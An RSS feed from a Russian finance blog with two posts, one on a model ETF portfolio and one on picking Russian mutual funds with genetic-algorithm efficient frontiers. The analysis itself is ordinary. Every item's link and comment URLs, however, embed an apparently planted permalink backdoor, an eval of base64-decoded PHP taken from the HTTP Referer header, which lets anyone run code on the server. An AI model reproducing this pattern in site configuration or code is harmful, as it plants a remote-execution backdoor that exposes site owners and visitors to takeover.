
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>~Russian Bear'Z Blog~ &#187; оптимизация решения</title>
	<atom:link href="http://www.pitbear.com/category/optimization/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.pitbear.com</link>
	<description>from the pit</description>
	<lastBuildDate>Fri, 28 Mar 2008 09:49:14 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Модельный портфель ETF</title>
		<link>http://www.pitbear.com/2007/07/24/etf-jul-2007/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/</link>
		<comments>http://www.pitbear.com/2007/07/24/etf-jul-2007/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Tue, 24 Jul 2007 19:11:00 +0000</pubDate>
		<dc:creator>whiteline</dc:creator>
				<category><![CDATA[ETF]]></category>
		<category><![CDATA[Finance]]></category>
		<category><![CDATA[Live]]></category>
		<category><![CDATA[инвестиции]]></category>
		<category><![CDATA[оптимизация решения]]></category>
		<category><![CDATA[риск]]></category>

		<guid isPermaLink="false">http://www.pitbear.com/etf-jul-2007.php</guid>
		<description><![CDATA[В продолжении темы Портфельные инвестиции обновлён предложенный портфель, уже с учётом дивидендов, и расширен первоначальный выбор бумаг. Это Top-50 по ликвидности ETF, имеющих более 3 летную историю. Есть идея публиковать подобный отчёт с некой периодичностью. Собственно один из портфелей:


TickerVaRYieldValue
AGG0.49%3.6%14.1%
SHY0.19%2.9%13.3%
EWC2.33%31.8%13.1%
EWA2.61%35.1%12.7%
EWZ4.59%69.6%11.9%
XLU1.94%23.6%11.9%
EWY3.45%47.2%8.5%
EWW3.53%52.4%6.3%
EWS2.69%35.3%6.3%
ICF2.54%22.5%1.1%
IYZ1.71%9.4%0.7%
Portfolio1.68%30.5%100%


Продолжение:
Портфель имеет волатильность 11.4% и коэффициент Шарпа равный 15.06. Ниже он расположен на графике эффективного множества:




Полный список [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">В продолжении темы <a href="http://www.pitbear.com/etf-portfolio.php">Портфельные инвестиции</a> обновлён предложенный портфель, уже с <strong>учётом дивидендов</strong>, и расширен первоначальный выбор бумаг. Это Top-50 по ликвидности ETF, имеющих более 3 летную историю. Есть идея публиковать подобный отчёт с некой периодичностью. Собственно один из портфелей:</p>
<p><center><br />
<TABLE border="1"><br />
<TR><TD><strong>Ticker</strong></TD><TD><strong>VaR</strong></TD><TD><strong>Yield</strong></TD><TD><strong>Value</strong></TD></TR><br />
<TR><TD>AGG</TD><TD>0.49%</TD><TD>3.6%</TD><TD>14.1%</TD></TR><br />
<TR><TD>SHY</TD><TD>0.19%</TD><TD>2.9%</TD><TD>13.3%</TD></TR><br />
<TR><TD>EWC</TD><TD>2.33%</TD><TD>31.8%</TD><TD>13.1%</TD></TR><br />
<TR><TD>EWA</TD><TD>2.61%</TD><TD>35.1%</TD><TD>12.7%</TD></TR><br />
<TR><TD>EWZ</TD><TD>4.59%</TD><TD>69.6%</TD><TD>11.9%</TD></TR><br />
<TR><TD>XLU</TD><TD>1.94%</TD><TD>23.6%</TD><TD>11.9%</TD></TR><br />
<TR><TD>EWY</TD><TD>3.45%</TD><TD>47.2%</TD><TD>8.5%</TD></TR><br />
<TR><TD>EWW</TD><TD>3.53%</TD><TD>52.4%</TD><TD>6.3%</TD></TR><br />
<TR><TD>EWS</TD><TD>2.69%</TD><TD>35.3%</TD><TD>6.3%</TD></TR><br />
<TR><TD>ICF</TD><TD>2.54%</TD><TD>22.5%</TD><TD>1.1%</TD></TR><br />
<TR><TD>IYZ</TD><TD>1.71%</TD><TD>9.4%</TD><TD>0.7%</TD></TR><br />
<TR><TD><b>Portfolio</b></TD><TD><b>1.68%</b></TD><TD><b>30.5%</b></TD><TD><b>100%</b></TD></TR><br />
</TABLE><br />
</center><br />
<span id="more-128"></span><em><u>Продолжение:</u></em></p>
<p align="justify">Портфель имеет волатильность 11.4% и коэффициент Шарпа равный 15.06. Ниже он расположен на графике эффективного множества:
</p>
<p><center><br />
<img src="http://www.pitbear.com/images/etf-2007-jule.gif" alt="Эффективное множество ETF" /><br />
</center></p>
<p>Полный список портфелей из эффективного множества содержиться в xls-файл <a href="http://www.pitbear.com/download/ETF-jule-2007.zip">Эффективное множество портфлей</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.pitbear.com/2007/07/24/etf-jul-2007/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Стать пайщиком?</title>
		<link>http://www.pitbear.com/2007/05/23/russian-pie/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/</link>
		<comments>http://www.pitbear.com/2007/05/23/russian-pie/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Wed, 23 May 2007 07:13:30 +0000</pubDate>
		<dc:creator>whiteline</dc:creator>
				<category><![CDATA[Finance]]></category>
		<category><![CDATA[Live]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Парето]]></category>
		<category><![CDATA[инвестиции]]></category>
		<category><![CDATA[оптимизация решения]]></category>
		<category><![CDATA[портфель]]></category>
		<category><![CDATA[фонд]]></category>

		<guid isPermaLink="false">http://www.pitbear.com/russian-pie.php</guid>
		<description><![CDATA[Необычайная майская жара и приостановка безудержного роста во многом охолодили пыл инвесторов, и многим хочется отдохнуть от графиков и не слышать никаких новостей о фондовом рынке. Что ж, самое время стать пайщиком – доверить свои сбережения профессионалам, которые и в жару и непогоду смогут заработать на фондовом рынке. Но какой пай купить, какой лучше? Ну [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">Необычайная майская жара и приостановка безудержного роста во многом охолодили пыл инвесторов, и многим хочется отдохнуть от графиков и не слышать никаких новостей о фондовом рынке. Что ж, самое время стать пайщиком – доверить свои сбережения профессионалам, которые и в жару и непогоду смогут заработать на фондовом рынке. Но какой пай купить, какой лучше? Ну да конечно, который больше вырастет! Или который меньше упадёт!!! При том что совсем не очевидно что фонд показавший лучшие результаты в прошлом году покажет такие же и в этом. Таким образом, на один только этот фактор нельзя полагаться, а нужно оценивать в целом эффективность работы этого фонда – т.е. проводить не только количественную оценку, но и качественную.</p>
<p><span id="more-126"></span><em><u>Продолжение:</u></em></p>
<table cellpadding=0 cellspacing=0 border=0 align=left width=260>
<tr>
<td>
<script type="text/javascript"><!--
google_ad_client = "pub-0354281235570007";
google_alternate_color = "FFFFFF";
google_ad_width = 250;
google_ad_height = 250;
google_ad_format = "250x250_as";
google_ad_type = "text_image";
google_ad_channel = "";
google_color_border = "FFFFFF";
google_color_bg = "FFFFFF";
google_color_link = "78A515";
google_color_text = "999999";
google_color_url = "000000";
//-->
</script><br />
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
</tr>
</td>
</table>
<p align="justify">Методика формирования портфеля для паевых фондов (mutual funds) основана на оценки эффективности управления этими фондами. В самом деле, предполагая, что навык управления не так подвержен изменчивости как сами активы, то, сформировав оценку по истории их деятельности можно предположить, что в будущем результат будет в рамках определённого доверительного интервала.</p>
<p align="justify">Очевидно, на рынке присутствует широкий класс инвесторов, у которых разный аппетит к риску, разные ожидания от доходности и, соответственно, различные требования к оценке эффективности паевых или взаимных фондов. В частном случае, в предположении что это не так, можно воспользоваться теоремой о взаимных фондов (mutual funds theorem), условия которой ставят всех инвесторов в одинаковые условия (информационное окружение, стоимость денег), в результате которая говорит о том, что оптимальный портфель единственный для всех и он вырастет, только от притока денежных средств. Что бы методика была унифицирована, и при этом учитывала интересы любых инвесторов, необходимо обобщить задачу, и рассматривать всё эффективное множество (efficient frontier) решений.</p>
<p align="justify">Эффективное множество портфелей (efficient frontier of portfolios) строится из фондов, которые ведут ежедневную отчётность на протяжении по двум критериям: риск, определенный дельта-нормальным методом, соответствующий 95% дневному VaR, и доходность, которая представляет собой годовую доходность за период: </p>
<p><center><img src="http://www.pitbear.com/images/method.gif" alt="Методика оценки эффективности управления взаимными или паевыми фондами" /><br />
</center></p>
<p align="justify">В виду большого набора фондов поиск эффективного множества (efficient frontier) осуществляется с помощью Многокритериального Генетического Алгоритма (Genetic Algorithm), фитнес-функцией репродуктивного цикла, в котором формирования поколения происходит на основании многокритериального решения (multiobjective solution) по принципу оптимального множества Парето (Pareto Set), которое состоит из оптимальных по Парето портфелей (portfolios) <strong>P*∈P</strong>. Это означает, что в следующее поколение (populations) попадают только такие портфели (portfolios) <strong>p*</strong> , если не существует <strong>p</strong>, такого что <strong>R>R*</strong> или  <strong>Y>Y*</strong>.
</p>
<p align="justify">Из построенного, с помощью Генетического Алгоритма, эффективного множества (efficient frontier) выбираются портфели, соответствующие целым числам годовой доходности, для «округления» решения используется портфель, соответствующий минимальному риску концентрации – минимум максимальной доли фондов в портфеле.</p>
<p align="justify">После чего на основании экспертного анализа результатов можно выбрать портфель.</p>
<p align="justify">Проиллюстрируем работ метода на реальном примере. Ниже представлены 109 паевых открытых фондов, фигурирующих в одних из рейтингов <a href="http://investfunds.ru/">Investfunds</a>, <a href="http://rbc.ru/">РБК</a>, журнала <a href="http://finansmag.ru/">Финанс</a>, и ведущих ежедневную отчётность о стоимости пая c 18 мая 2006 г. по 17 мая 2007 г.:</p>
<p><P><FONT size=1><br />
<TABLE align=center border=0 cellspacing=0 bgcolor=#CCFFCC><br />
<TR bgcolor=#FFFFFF><TD width=200><strong>УК &#8211; Фонд</strong></TD><TD width=50><strong>VaR</strong></TD><TD width=70><strong>Доходность</strong></TD><TD width=55><strong>Sharp Ratio</strong></TD></TR><br />
<TR><TD>Интерфин &#8211; Облигации</TD><TD>0.09%</TD><TD>7.9%</TD><TD>16.64</TD></TR></p>
<p><TR><TD>Мономах-Равновесие</TD><TD>0.11%</TD><TD>4.8%</TD><TD>-16.04</TD></TR><br />
<TR><TD>КИТ &#8211; Фонд денежного рынка</TD><TD>0.11%</TD><TD>6.9%</TD><TD>3.89</TD></TR><br />
<TR><TD>ОФГ &#8211; Русские облигации</TD><TD>0.13%</TD><TD>7.4%</TD><TD>7.08</TD></TR><br />
<TR><TD>Тройка Диалог &#8211; Садко</TD><TD>0.13%</TD><TD>8.1%</TD><TD>12.84</TD></TR></p>
<p><TR><TD>УК Росбанка &#8211; Сапфир</TD><TD>0.13%</TD><TD>9.2%</TD><TD>20.57</TD></TR><br />
<TR><TD>АК БАРС КАПИТАЛ &#8211; RUXCbonds</TD><TD>0.14%</TD><TD>6.8%</TD><TD>2.35</TD></TR><br />
<TR><TD>ТройкаДиалог – Илья Муромец</TD><TD>0.14%</TD><TD>8.9%</TD><TD>17.36</TD></TR><br />
<TR><TD>КИТ &#8211; Фонд облигаций</TD><TD>0.17%</TD><TD>8.5%</TD><TD>11.37</TD></TR></p>
<p><TR><TD>Лидер &#8211; Облигации</TD><TD>0.20%</TD><TD>6.8%</TD><TD>1.67</TD></TR><br />
<TR><TD>Ренессанс – Облигации</TD><TD>0.22%</TD><TD>13.6%</TD><TD>31.75</TD></TR><br />
<TR><TD>Алемар фонд облигаций</TD><TD>0.28%</TD><TD>10.1%</TD><TD>12.59</TD></TR><br />
<TR><TD>АВК &#8211; Фонд корпоративных облигаций</TD><TD>0.30%</TD><TD>6.6%</TD><TD>0.24</TD></TR></p>
<p><TR><TD>АВК &#8211; Фонд государственных ценных бумаг</TD><TD>0.35%</TD><TD>7.9%</TD><TD>4.12</TD></TR><br />
<TR><TD>Максвелл &#8211; Фонд Облигаций</TD><TD>0.36%</TD><TD>9.0%</TD><TD>6.96</TD></TR><br />
<TR><TD>Альфа-Капитал Облигации Плюс</TD><TD>0.40%</TD><TD>10.4%</TD><TD>9.66</TD></TR><br />
<TR><TD>ПСБ &#8211; Финансист</TD><TD>0.42%</TD><TD>5.4%</TD><TD>-2.52</TD></TR></p>
<p><TR><TD>Метрополь &#8211; Зевс</TD><TD>0.58%</TD><TD>13.8%</TD><TD>12.46</TD></TR><br />
<TR><TD>Паллада – облигации</TD><TD>0.61%</TD><TD>7.6%</TD><TD>1.79</TD></TR><br />
<TR><TD>СибиряК – Фонд облигаций</TD><TD>0.70%</TD><TD>6.8%</TD><TD>0.44</TD></TR><br />
<TR><TD>ГЛОБЭКС – Фонд облигаций</TD><TD>0.76%</TD><TD>5.5%</TD><TD>-1.26</TD></TR></p>
<p><TR><TD>Солид &#8211; ФДИ</TD><TD>0.94%</TD><TD>14.0%</TD><TD>7.92</TD></TR><br />
<TR><TD>АГАНА &#8211; Эквилибриум</TD><TD>0.98%</TD><TD>15.0%</TD><TD>8.67</TD></TR><br />
<TR><TD>Пиоглобал &#8211; Фонд облигаций</TD><TD>1.11%</TD><TD>10.9%</TD><TD>3.96</TD></TR><br />
<TR><TD>Пифагор &#8211; Капитальный</TD><TD>1.15%</TD><TD>6.2%</TD><TD>-0.29</TD></TR></p>
<p><TR><TD>УНИВЕР &#8211; фонд смешанных инвестиций</TD><TD>1.17%</TD><TD>10.3%</TD><TD>3.21</TD></TR><br />
<TR><TD>Пенсионный резерв &#8211; Накопительный Резерв</TD><TD>1.22%</TD><TD>10.6%</TD><TD>3.34</TD></TR><br />
<TR><TD>РТК ИНВЕСТ &#8211; Облигации</TD><TD>1.24%</TD><TD>10.6%</TD><TD>3.33</TD></TR><br />
<TR><TD>КИТ &#8211; Фонд сбалансированный</TD><TD>1.24%</TD><TD>16.9%</TD><TD>8.35</TD></TR></p>
<p><TR><TD>Мозаик-облигации</TD><TD>1.25%</TD><TD>17.3%</TD><TD>8.64</TD></TR><br />
<TR><TD>ВТБ &#8211; Лидер Финанс</TD><TD>1.29%</TD><TD>7.8%</TD><TD>1.01</TD></TR><br />
<TR><TD>Арбат Капитал – РИМ Долгоиграющий</TD><TD>1.44%</TD><TD>10.8%</TD><TD>2.95</TD></TR><br />
<TR><TD>ДОХОДЪ &#8211; Фонд сбалансированный</TD><TD>1.46%</TD><TD>11.5%</TD><TD>3.44</TD></TR></p>
<p><TR><TD>МДМ – мир облигаций</TD><TD>1.49%</TD><TD>11%</TD><TD>3.03</TD></TR><br />
<TR><TD>УК БКС &#8211; Фонд оптимальный</TD><TD>1.57%</TD><TD>18.7%</TD><TD>7.77</TD></TR><br />
<TR><TD>Мономах-Горизонт</TD><TD>1.87%</TD><TD>13.2%</TD><TD>3.56</TD></TR><br />
<TR><TD>Ренессанс – Сбалансированный</TD><TD>1.90%</TD><TD>19.6%</TD><TD>6.91</TD></TR></p>
<p></TABLE><TABLE align=center border=0 cellspacing=0 bgcolor=#FFFF99><br />
<TR><TD width=200>АВК &#8211; Регион</TD><TD width=50>1.94%</TD><TD width=70>17.6%</TD><TD width=55>5.74</TD></TR><br />
<TR><TD>АВК &#8211; Фонд ликвидных активов</TD><TD>1.95%</TD><TD>17.2%</TD><TD>5.5</TD></TR><br />
<TR><TD>АК БАРС КАПИТАЛ &#8211; Сбалансированный</TD><TD>2.01%</TD><TD>21.6%</TD><TD>7.54</TD></TR><br />
<TR><TD>РТК ИНВЕСТ &#8211; Телеком Гарантия</TD><TD>2.02%</TD><TD>4.9%</TD><TD>-0.81</TD></TR></p>
<p><TR><TD>УК БКС &#8211; Фонд перспективных акций</TD><TD>2.05%</TD><TD>22.7%</TD><TD>7.94</TD></TR><br />
<TR><TD>Русс Инвест &#8211; паевой фонд акций и облигаций</TD><TD>2.13%</TD><TD>18.2%</TD><TD>5.52</TD></TR><br />
<TR><TD>Паллада &#8211; смешанные инвестиции</TD><TD>2.16%</TD><TD>9.3%</TD><TD>1.28</TD></TR><br />
<TR><TD>УК Росбанка &#8211; Гранат</TD><TD>2.26%</TD><TD>44.3%</TD><TD>16.7</TD></TR></p>
<p><TR><TD>ВТБ &#8211; Лидер Инвест</TD><TD>2.27%</TD><TD>9.6%</TD><TD>1.37</TD></TR><br />
<TR><TD>Тройка Диалог &#8211; Дружина</TD><TD>2.30%</TD><TD>15.2%</TD><TD>3.78</TD></TR><br />
<TR><TD>Лидер &#8211; Народное достояние</TD><TD>2.32%</TD><TD>29.8%</TD><TD>10.05</TD></TR><br />
<TR><TD>РТК ИНВЕСТ &#8211; Акции</TD><TD>2.41%</TD><TD>34.6%</TD><TD>11.67</TD></TR></p>
<p><TR><TD>ПСБ &#8211; Титан</TD><TD>2.46%</TD><TD>14.5%</TD><TD>3.26</TD></TR><br />
<TR><TD>Алемар &#8211; активные операции</TD><TD>2.49%</TD><TD>17.5%</TD><TD>4.42</TD></TR><br />
<TR><TD>Интраст &#8211; Фонд Акций</TD><TD>2.54%</TD><TD>16.4%</TD><TD>3.9</TD></TR><br />
<TR><TD>Русс Инвест &#8211; паевой фонд акций</TD><TD>2.56%</TD><TD>22.7%</TD><TD>6.33</TD></TR></p>
<p><TR><TD>Альфа-Капитал Сбалансированный</TD><TD>2.60%</TD><TD>28.7%</TD><TD>8.56</TD></TR><br />
<TR><TD>АГАНА &#8211; Фонд региональных акций</TD><TD>2.62%</TD><TD>36.9%</TD><TD>11.62</TD></TR><br />
<TR><TD>Пифагор-фонд смешанных инвестиций</TD><TD>2.62%</TD><TD>19.6%</TD><TD>5.01</TD></TR><br />
<TR><TD>Метрополь &#8211; Афина</TD><TD>2.63%</TD><TD>26.8%</TD><TD>7.73</TD></TR></p>
<p><TR><TD>АГАНА &#8211; Экстрим</TD><TD>2.63%</TD><TD>38%</TD><TD>11.97</TD></TR><br />
<TR><TD>АВК &#8211; Фонд акций</TD><TD>2.64%</TD><TD>12.3%</TD><TD>2.19</TD></TR><br />
<TR><TD>Энергокапитал &#8211; Сбалансированный</TD><TD>2.67%</TD><TD>43.9%</TD><TD>14</TD></TR><br />
<TR><TD>УК Банка Москвы &#8211; Рождественка</TD><TD>2.68%</TD><TD>31.7%</TD><TD>9.39</TD></TR></p>
<p><TR><TD>ТРИНФИКО &#8211; Сбалансированные инвестиции</TD><TD>2.69%</TD><TD>25.1%</TD><TD>6.92</TD></TR><br />
<TR><TD>АГАНА &#8211; Молодёжный</TD><TD>2.72%</TD><TD>32.3%</TD><TD>9.47</TD></TR><br />
<TR><TD>Максвелл &#8211; Первый Фонд Фондов</TD><TD>2.73%</TD><TD>21.8%</TD><TD>5.61</TD></TR><br />
<TR><TD>Алемар – фонд акций</TD><TD>2.76%</TD><TD>16.9%</TD><TD>3.75</TD></TR></p>
<p><TR><TD>КИТ &#8211; Российская электроэнергетика</TD><TD>2.82%</TD><TD>72.7%</TD><TD>23.47</TD></TR><br />
<TR><TD>АВК &#8211; Фонд связи и телекомуникаций</TD><TD>2.83%</TD><TD>62.3%</TD><TD>19.71</TD></TR><br />
<TR><TD>УНИВЕР &#8211; фонд акций</TD><TD>2.84%</TD><TD>37.2%</TD><TD>10.81</TD></TR><br />
<TR><TD>ДОХОДЪ &#8211; Фонд акций</TD><TD>2.87%</TD><TD>26.0%</TD><TD>6.82</TD></TR></p>
<p><TR><TD>СибиряК – Фонд акций</TD><TD>2.88%</TD><TD>39.3%</TD><TD>11.4</TD></TR><br />
<TR><TD>КИТ &#8211; Российские телекоммуникации</TD><TD>2.92%</TD><TD>54.5%</TD><TD>16.42</TD></TR><br />
<TR><TD>АВК &#8211; Фонд привилегированных акций</TD><TD>2.96%</TD><TD>5.1%</TD><TD>-0.47</TD></TR><br />
<TR><TD>Метрополь &#8211; Золотое Руно</TD><TD>2.96%</TD><TD>24.9%</TD><TD>6.2</TD></TR></p>
<p></TABLE><TABLE align=center border=0 cellspacing=0 bgcolor=#FFCC99><br />
<TR><TD width=200>Доверие Капитал &#8211; Траст Первый</TD><TD width=50>2.97%</TD><TD width=70>14.4%</TD><TD width=55>2.66</TD></TR><br />
<TR><TD>Интерфин &#8211; Партнерство</TD><TD>3.03%</TD><TD>15.2%</TD><TD>2.87</TD></TR><br />
<TR><TD>АВК &#8211; Фонд ТЭК</TD><TD>3.08%</TD><TD>1.5%</TD><TD>-1.63</TD></TR><br />
<TR><TD>КИТ &#8211; Российская нефть</TD><TD>3.08%</TD><TD>-13.7%</TD><TD>-6.54</TD></TR></p>
<p><TR><TD>Ренессанс – Акции</TD><TD>3.19%</TD><TD>35.7%</TD><TD>9.16</TD></TR><br />
<TR><TD>Максвелл &#8211; Капитал</TD><TD>3.21%</TD><TD>24.6%</TD><TD>5.65</TD></TR><br />
<TR><TD>Паллада – акции</TD><TD>3.23%</TD><TD>24.8%</TD><TD>5.67</TD></TR><br />
<TR><TD>КИТ &#8211; Фонд акций</TD><TD>3.26%</TD><TD>20.5%</TD><TD>4.29</TD></TR></p>
<p><TR><TD>Ермак – фонд краткосрочных инвестиций</TD><TD>3.32%</TD><TD>31.7%</TD><TD>7.58</TD></TR><br />
<TR><TD>ПСБ &#8211; Стоик</TD><TD>3.34%</TD><TD>17.6%</TD><TD>3.32</TD></TR><br />
<TR><TD>ВТБ &#8211; ДВИ</TD><TD>3.4%</TD><TD>15.7%</TD><TD>2.71</TD></TR><br />
<TR><TD>Мономах-Перспектива</TD><TD>3.41%</TD><TD>34.5%</TD><TD>8.2</TD></TR></p>
<p><TR><TD>ТРИНФИКО &#8211; Фонд роста</TD><TD>3.43%</TD><TD>25.7%</TD><TD>5.58</TD></TR><br />
<TR><TD>Арбат Капитал – РИМ Доля успеха</TD><TD>3.44%</TD><TD>22.6%</TD><TD>4.69</TD></TR><br />
<TR><TD>Лидер &#8211; Акции</TD><TD>3.5%</TD><TD>46.6%</TD><TD>11.45</TD></TR><br />
<TR><TD>ОФГ &#8211; Петр Столыпин</TD><TD>3.51%</TD><TD>26.7%</TD><TD>5.75</TD></TR></p>
<p><TR><TD>Солид &#8211; Инвест</TD><TD>3.58%</TD><TD>30.3%</TD><TD>6.64</TD></TR><br />
<TR><TD>Максвелл &#8211; Фонд Акций</TD><TD>3.65%</TD><TD>29.4%</TD><TD>6.27</TD></TR><br />
<TR><TD>Мозаик-акции</TD><TD>3.7%</TD><TD>27.6%</TD><TD>5.71</TD></TR><br />
<TR><TD>Пиоглобал &#8211; Фонд сбалансированный</TD><TD>3.72%</TD><TD>32.6%</TD><TD>7.03</TD></TR></p>
<p><TR><TD>ГЛОБЭКС – Фонд акций</TD><TD>3.72%</TD><TD>29.5%</TD><TD>6.19</TD></TR><br />
<TR><TD>Тройка Диалог &#8211; Добрыня Никитич</TD><TD>3.75%</TD><TD>27.8%</TD><TD>5.67</TD></TR><br />
<TR><TD>Пифагор-фонд акций</TD><TD>3.77%</TD><TD>31.3%</TD><TD>6.59</TD></TR><br />
<TR><TD>КИТ &#8211; Индекс РТС</TD><TD>3.79%</TD><TD>25.2%</TD><TD>4.95</TD></TR></p>
<p><TR><TD>Пиоглобал &#8211; Фонд Акций</TD><TD>3.86%</TD><TD>23.8%</TD><TD>4.48</TD></TR><br />
<TR><TD>ФНДС &#8211; Ломоносов</TD><TD>3.88%</TD><TD>28.5%</TD><TD>5.66</TD></TR><br />
<TR><TD>Мономах-Панорама</TD><TD>3.92%</TD><TD>28.2%</TD><TD>5.54</TD></TR><br />
<TR><TD>УК Банка Москвы &#8211; Красная площадь</TD><TD>3.94%</TD><TD>46.5%</TD><TD>10.15</TD></TR></p>
<p><TR><TD>УК БКС &#8211; Фонд голубых фишек</TD><TD>4.01%</TD><TD>32.1%</TD><TD>6.39</TD></TR><br />
<TR><TD>АК БАРС КАПИТАЛ &#8211; Акции</TD><TD>4.01%</TD><TD>17%</TD><TD>2.61</TD></TR><br />
<TR><TD>УК БКС &#8211; индекс ММВБ</TD><TD>4.1%</TD><TD>27.3%</TD><TD>5.08</TD></TR><br />
<TR><TD>Альфа-Капитал Акции</TD><TD>4.15%</TD><TD>36.8%</TD><TD>7.3</TD></TR></p>
<p><TR><TD>КИТ &#8211; Индекс ММВБ</TD><TD>4.23%</TD><TD>34.3%</TD><TD>6.58</TD></TR><br />
<TR><TD>УК Банка Москвы &#8211; Манежная площадь</TD><TD>4.26%</TD><TD>41.9%</TD><TD>8.31</TD></TR><br />
<TR><TD>ВТБ &#8211; ММВБ</TD><TD>4.29%</TD><TD>29.8%</TD><TD>5.42</TD></TR><br />
<TR><TD>МДМ – мир акций</TD><TD>4.30%</TD><TD>15.6%</TD><TD>2.12</TD></TR></TABLE><br />
</FONT><br />
</P></p>
<p align="justify">Фонды отсортированы по возрастанию риска и на этом же основании разбиты на три равные группы. Разбиение на группы позволяет сформировать более диверсифицированные портфели в своей группе по принципу: облигационные фонды, фонды смешанных инвестиций и фонды акций. Но т.к. практика и нормы ФСФР показывают, что такое название лишь формальность, то будем относить к низкорисковой «зелёной» группе первую треть фондов, следующую, к средней – «жёлтой» и оставшиеся  &#8211; к последней «красной» группе. Все фонды будем называть «чёрной группой».</p>
<p align="justify">Затем для каждой из групп построим эффективное множество и экспертно выберем оптимальный портфель.</p>
<p><center><img src="http://www.pitbear.com/images/pif-rgbb-efficient-frontier.gif" alt="Портфели на эффективных множествах" /><br />
</center></p>
<p>На одном графике они выглядят так:</p>
<p><center><img src="http://www.pitbear.com/images/pif-efficient-frontier.gif" alt="Эффективные множества на одном графике" /><br />
</center></p>
<p>Сами портфели:</p>
<p><center><img src="http://www.pitbear.com/images/pif-rgbb-portfolios.gif" alt="Портфели: Зелёный, Желтый, Красный и Чёрный" /><br />
</center></p>
<p align="justify">После чего в зависимости от консервативной настроенности инвестора можно выбрать портфели в необходимой пропорции, например:</p>
<p>Консервативный инвестор: </p>
<ol>
<li>Зелёный – 50%,</li>
<li>Жёлтый – 20%,</li>
<li>Красный – 10%,</li>
<li>Чёрный – 20%.</li>
</ol>
<p>Осторожный инвестор: </p>
<ol>
<li>Зелёный – 30%,</li>
<li>Жёлтый – 30%,</li>
<li>Красный – 10%,</li>
<li>Чёрный – 30%.</li>
</ol>
<p>Агрессивный инвестор:</p>
<ol>
<li>Зелёный – 10%,</li>
<li>Жёлтый – 40%,</li>
<li>Красный – 30%,</li>
<li>Чёрный – 20%.</li>
</ol>
<p align="justify">Можно тaк же сформировать портфель на основании методики RAROC, не учитывая корреляцию портфелей. Их Sharp Ratio равен 11.4, 13.3, 5.2, 28.7 соответственно, значит доли в портфеле распределены как 19%, 23%, 9% и 49%. И в результате получается портфель:</p>
<p><P><FONT size=1><br />
<TABLE align=center border=1 cellspacing=0 bgcolor=#FFFFFF><br />
<TR><TD width=300>Ренессанс – Облигации</TD><TD width=50>21.1%</TD></TR><br />
<TR><TD>КИТ &#8211; Российская электроэнергетика</TD><TD>21.0%</TD></TR><br />
<TR><TD>АВК &#8211; Фонд связи и телекомуникаций</TD><TD>11.1%</TD></TR></p>
<p><TR><TD>Метрополь &#8211; Зевс</TD><TD>7.6%</TD></TR><br />
<TR><TD>УК БКС &#8211; Фонд оптимальный</TD><TD>4.6%</TD></TR><br />
<TR><TD>АВК &#8211; Фонд ликвидных активов</TD><TD>4.4%</TD></TR><br />
<TR><TD>Максвелл &#8211; Первый Фонд Фондов</TD><TD>4.4%</TD></TR><br />
<TR><TD>Мозаик-облигации</TD><TD>4.4%</TD></TR><br />
<TR><TD>Паллада &#8211; смешанные инвестиции</TD><TD>4.1%</TD></TR></p>
<p><TR><TD>АВК &#8211; Регион</TD><TD>3.2%</TD></TR><br />
<TR><TD>Ренессанс – Сбалансированный</TD><TD>2.8%</TD></TR><br />
<TR><TD>Ренессанс – Акции</TD><TD>2.3%</TD></TR><br />
<TR><TD>Доверие Капитал &#8211; Траст Первый</TD><TD>2.2%</TD></TR><br />
<TR><TD>Паллада – акции</TD><TD>2.2%</TD></TR><br />
<TR><TD>АК БАРС КАПИТАЛ &#8211; Сбалансированный</TD><TD>1.2%</TD></TR></p>
<p><TR><TD>СибиряК – Фонд акций</TD><TD>1.2%</TD></TR><br />
<TR><TD>Интерфин &#8211; Партнерство</TD><TD>1.0%</TD></TR><br />
<TR><TD>АВК &#8211; Фонд ТЭК</TD><TD>0.9%</TD></TR><br />
<TR><TD>Максвелл &#8211; Капитал</TD><TD>0.3%</TD></TR><br />
<TR><TD><strong>Доходность</strong></TD><TD><b>33.5%</b></TD></TR><br />
<TR><TD><strong>Волатильность</strong></TD><TD><b>9.9%</b></TD></TR><br />
<TR><TD><strong>VaR</strong></TD><TD><b>1.5%</b></TD></TR></p>
<p></TABLE><br />
</FONT><br />
</P></p>
<div><center><br />
<script type="text/javascript"><!--
google_ad_client = "pub-0354281235570007";
google_alternate_color = "FFFFFF";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text_image";
google_ad_channel = "";
google_color_border = "99CC33";
google_color_bg = "FFFFFF";
google_color_link = "999999";
google_color_text = "000000";
google_color_url = "669900";
//-->
</script><br />
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
</center></div>
<p>
<em>Информация изложенная в этой статье не должна быть истолкована прямо или косвенно как рекомендации к действиям или принятия решений относительно инвестиций. Инвестиции подобного рода связанны с рисками и неопределённостью и автор статьи никакой ответственности за будущие результаты не несёт.</em>
</p>
<p>Статьи по теме:<br />
